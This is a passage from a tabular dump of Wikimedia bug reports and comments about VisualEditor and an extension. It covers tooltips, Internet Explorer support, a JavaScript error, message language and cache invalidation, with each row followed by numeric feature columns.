**Severity**: normal",Needs Triage,90.0,1355171460,1355194481.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-6k6omehrnjj3d64g3xkp,task_description,resolved,True,c1,0,True,False,True,-29,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.71875,0.625,"Point to [[Project:VisualEditor/Feedback]] for now.

--------------------------
**Version**: unspecified
**Severity**: normal"
195743,VisualEditor: Re-enable the feedback tool for deployment,See also https://gerrit.wikimedia.org/r/#/c/32700/ for usage.,,,1355175058,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6k6omehrnjj3d64g3xkp,task_subcomment,,True,c1,0,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,See also URL for usage.
44919,VisualEditor: Toolbar tooltips should also suggest key-commands,"Toolbar tooltips should also suggest key-commands - e.g. the bold button's tooltip should be ""Bold (Cmd+B)"". Not hard-coded but created live, though there may be i18n issues.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44012",Needs Triage,90.0,1355168340,1358469697.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-qsgzi7766f5xj7zdn6hb,task_description,resolved,True,c1,0,True,False,True,-29,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,13.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.537313432835821,0.6716417910447762,"Toolbar tooltips should also suggest key-commands - e.g. the bold button's tooltip should be ""Bold (Cmd+B)"". Not hard-coded but created live, though there may be i18n issues.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
195707,VisualEditor: Toolbar tooltips should also suggest key-commands,"Now merged, will go out in 2013-02-04 release cycle.",,,1358469697,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qsgzi7766f5xj7zdn6hb,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.933333333333333,0.9333333333333333,"Now merged, will go out in 2013-02-04 release cycle."
195705,VisualEditor: Toolbar tooltips should also suggest key-commands,Patched in https://gerrit.wikimedia.org/r/#/c/44347/,,,1358375049,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-qsgzi7766f5xj7zdn6hb,task_subcomment,,True,c1,1,False,,,-24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Patched in URL
44848,VisualEditor: Notifications should not use db-variant of page titles,"Via viewPage.pageName (mw.config wgRelevantPageName)

Creating or editing pages, the mw.notify send uses the db-variant straight from wgRelevantPageName.

Should mw.Title.textify it for proper localisation and normalisation.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1354930620,1354942098.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2qype6jzcuqvgj55crv3,task_description,resolved,True,c1,0,True,False,True,-30,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.269230769230769,0.7307692307692307,"Via viewPage.pageName (mw.config wgRelevantPageName)

Creating or editing pages, the mw.notify send uses the db-variant straight from wgRelevantPageName.

Should mw.Title.textify it for proper localisation and normalisation.

--------------------------
**Version**: unspecified
**Severity**: normal"
191994,VisualEditor: Notifications should not use db-variant of page titles,"(In reply to comment #1)
> Change-Id: Ie84168cd2509a17c180c6143a87a18ae8bbb3d0a
Merged.",,,1354942098,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2qype6jzcuqvgj55crv3,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6153846153846154,0.9230769230769231,"(In reply to comment #1)
QUOTE
Merged."
191987,VisualEditor: Notifications should not use db-variant of page titles,Change-Id: Ie84168cd2509a17c180c6143a87a18ae8bbb3d0a,,,1354930713,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2qype6jzcuqvgj55crv3,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: Ie84168cd2509a17c180c6143a87a18ae8bbb3d0a
44847,VisualEditor: Support Internet Explorer,"Right now we have Internet Explorer support removed because it fails to support a number of features, mostly around ContentEditable. However, as a major browser we need to find a way around these shortcomings.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1354926720,1359516361.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-mu7m2pj54l427crmnupd,task_description,resolved,True,c1,0,True,False,True,-30,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,12.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.410714285714286,0.6785714285714286,"Right now we have Internet Explorer support removed because it fails to support a number of features, mostly around ContentEditable. However, as a major browser we need to find a way around these shortcomings.

--------------------------
**Version**: unspecified
**Severity**: major"
191955,VisualEditor: Support Internet Explorer,"This is close-enough to done that I'm going to make this as complete. No doubt there will remain bugs, but those are within the framework of VE generally ""working"".",,,1359516361,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mu7m2pj54l427crmnupd,task_subcomment,,True,c1,1,True,,,-22,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,8.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,16.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.675675675675676,0.918918918918919,"This is close-enough to done that I'm going to make this as complete. No doubt there will remain bugs, but those are within the framework of VE generally ""working""."
191951,VisualEditor: Support Internet Explorer,Please see Bug 41233,,,1359065649,,PHID-USER-wi7txqp5ld5ze33dx7am,True,,,PHID-TASK-mu7m2pj54l427crmnupd,task_subcomment,,True,c1,1,False,,,-23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Please see Bug 41233
191947,VisualEditor: Support Internet Explorer,"Argh, ignore that; an at-least partial fix in gerrit 37592.",,,1354926991,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mu7m2pj54l427crmnupd,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,3.3333333333333335,1.0,"Argh, ignore that; an at-least partial fix in gerrit 37592."
191939,VisualEditor: Support Internet Explorer,Attempted fixes in gerrit 37566 and gerrit 37570.,,,1354926882,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mu7m2pj54l427crmnupd,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.8888888888888888,Attempted fixes in gerrit 37566 and gerrit 37570.
44842,VisualEditor: Create a link at the beginning of the document throws rangy error,"Create a link at the beginning of the document, select it and open inspector.

Uncaught TypeError: Cannot read property 'left' of undefined rangy-position.js:215
(anonymous function) rangy-position.js:215
(anonymous function) rangy-position.js:295
(anonymous function) rangy-position.js:348
ve.ce.Surface.getSelectionRect ve.ce.Surface.js:1190
.......

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1354920600,1355164890.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-jvbmuzupmyildaswp3ax,task_description,resolved,True,c1,0,False,False,True,-30,,0.0,0.0,0.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,7.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.410958904109589,0.6027397260273972,"Create a link at the beginning of the document, select it and open inspector.

Uncaught TypeError: Cannot read property 'left' of undefined rangy-position.js:215
(anonymous function) rangy-position.js:215
(anonymous function) rangy-position.js:295
(anonymous function) rangy-position.js:348
ve.ce.Surface.getSelectionRect ve.ce.Surface.js:1190
.......

--------------------------
**Version**: unspecified
**Severity**: normal"
191722,VisualEditor: Create a link at the beginning of the document throws rangy error,Related URL: https://gerrit.wikimedia.org/r/69707 (Gerrit Change I8bcdea0f7a6951216bf8368865d23ef6246880ea),,,1371753492,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jvbmuzupmyildaswp3ax,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I8bcdea0f7a6951216bf8368865d23ef6246880ea)
191717,VisualEditor: Create a link at the beginning of the document throws rangy error,Fix in gerrit 37603,,,1354931366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvbmuzupmyildaswp3ax,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fix in gerrit 37603
44764,"VisualEditor: Pre-parsed messages (minoredit, watchthis) should be in user language instead site language","

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1354771560,1354832652.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-75c273bypsftlyrbr3cc,task_description,resolved,True,c1,0,True,False,True,-30,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
187052,"VisualEditor: Pre-parsed messages (minoredit, watchthis) should be in user language instead site language",Merged.,,,1354832652,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-75c273bypsftlyrbr3cc,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
187047,"VisualEditor: Pre-parsed messages (minoredit, watchthis) should be in user language instead site language",Change-Id: I84fee641162cdeed290092e56fb0e1d2562d833d,,,1354771693,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-75c273bypsftlyrbr3cc,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I84fee641162cdeed290092e56fb0e1d2562d833d
44670,VisualEditor: ext.visualEditor.specialMessages module cache invalidation broken,"The VisualEditorMessagesModule class does not implement a ::getModifiedTime() method, and the default falls back to timestamp 1 (Thu Jan 01 1970 00:00:01), which, together with the max() with global MediaWiki Epoch is stuck on Wikimedia servers on 20120908T000000Z[1].


> > mw.loader.getVersion('ext.visualEditor.specialMessages')
> < ""20120908T000000Z""


https://gerrit.wikimedia.org/r/gitweb?p=operations/mediawiki-config.git;a=blob;f=wmf-config/CommonSettings.php;h=8481e9b30130288b187cac5ebd7a6993320c91c4;hb=HEAD#l1347

Assigning to self, being worked on. Filing as reminder and as future reference.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1354596300,1354654432.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-vr2jeooanda24ls5knww,task_description,resolved,True,c1,0,True,False,True,-30,,0.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,15.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.25,0.6630434782608695,"The VisualEditorMessagesModule class does not implement a ::getModifiedTime() method, and the default falls back to timestamp 1 (Thu Jan 01 1970 00:00:01), which, together with the max() with global MediaWiki Epoch is stuck on Wikimedia servers on 20120908T000000Z[1].


QUOTE
QUOTE


URL

Assigning to self, being worked on. Filing as reminder and as future reference.

--------------------------
**Version**: unspecified
**Severity**: major"
181694,VisualEditor: ext.visualEditor.specialMessages module cache invalidation broken,Now merged into master.,,,1354654432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vr2jeooanda24ls5knww,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Now merged into master.
181687,VisualEditor: ext.visualEditor.specialMessages module cache invalidation broken,Change-Id: I7f26b47e9467e850c08b9c217c4f1098590de109,,,1354607956,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vr2jeooanda24ls5knww,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I7f26b47e9467e850c08b9c217c4f1098590de109
44456,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"Fatal error:  Call to undefined method Title::getRedirectTarget() in /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php on line 305

No stack trace currently as it seems the fatal log is empty...

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1353963360,1353972863.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-yjkqv35zcxvtirgx56ds,task_description,resolved,True,c1,0,False,False,True,-31,,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.421875,0.71875,"Fatal error:  Call to undefined method Title::getRedirectTarget() in /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php on line 305

No stack trace currently as it seems the fatal log is empty...

--------------------------
**Version**: unspecified
**Severity**: major"
194167,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"I added tests in https://gerrit.wikimedia.org/r/#/c/35388/, which should catch future 